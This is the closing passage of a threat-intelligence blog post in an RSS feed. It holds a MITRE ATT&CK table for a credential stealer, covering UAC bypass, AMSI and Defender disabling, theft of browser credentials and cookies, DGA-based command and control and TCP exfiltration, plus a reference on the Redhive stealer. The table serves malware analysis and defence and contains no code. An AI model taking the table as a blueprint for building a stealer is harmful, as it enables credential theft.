</tr>
</thead>
<tbody>
<tr>
<td>Execution</td>
<td>T1106 Native API, T1059.001 PowerShell, T1059.003 Windows Command Shell</td>
</tr>
<tr>
<td>Persistence</td>
<td>T1053.005 Scheduled Task</td>
</tr>
<tr>
<td>Privilege escalation</td>
<td>T1548.002 Bypass UAC, T1134.001 Token Impersonation</td>
</tr>
<tr>
<td>Defense evasion</td>
<td>T1027.013 Encrypted strings, T1562.001 Disable tools (AMSI, Defender), T1036.005 Masquerading, T1564.001 Hidden files, T1055 Process Injection, T1497.001 Sandbox evasion, T1622 Debugger evasion</td>
</tr>
<tr>
<td>Credential access</td>
<td>T1555.003 Credentials from Web Browsers, T1539 Steal Web Session Cookie, T1552.001 Credentials in Files</td>
</tr>
<tr>
<td>Discovery</td>
<td>T1082 System Information, T1518.001 Security Software, T1057 Process Discovery</td>
</tr>
<tr>
<td>Collection</td>
<td>T1113 Screen Capture, T1115 Clipboard Data, T1005 Data from Local System, T1560 Archive Collected Data</td>
</tr>
<tr>
<td>Command and control</td>
<td>T1071.001 Web Protocols, T1571 Non-Standard Port, T1568.002 DGA, T1008 Fallback Channels, T1105 Ingress Tool Transfer</td>
</tr>
<tr>
<td>Exfiltration</td>
<td>T1048 Exfiltration Over Alternative Protocol (raw TCP)</td>
</tr>
</tbody>
</table>
<h2 id="references">References<a class="heading-anchor" href="#references" aria-label="Link to this section">#</a></h2>
<ul>
<li>winslow, <a href="https://winslow1984.com/books/threat-intelligence/page/hey-you-hacked-a-hacker-are-you-ready-for-my-revenge" rel="noopener" class="ext">Hey, You Hacked a Hacker! Are You Ready For My Revenge?</a>, Winslow Blog, 2026:
a victim&rsquo;s view of the same platform, from a fake GitHub repository to the Redhive (Mops) stealer
<code>1.0.2</code> and the operator&rsquo;s infrastructure.</li>
</ul>
]]></content:encoded></item></channel></rss>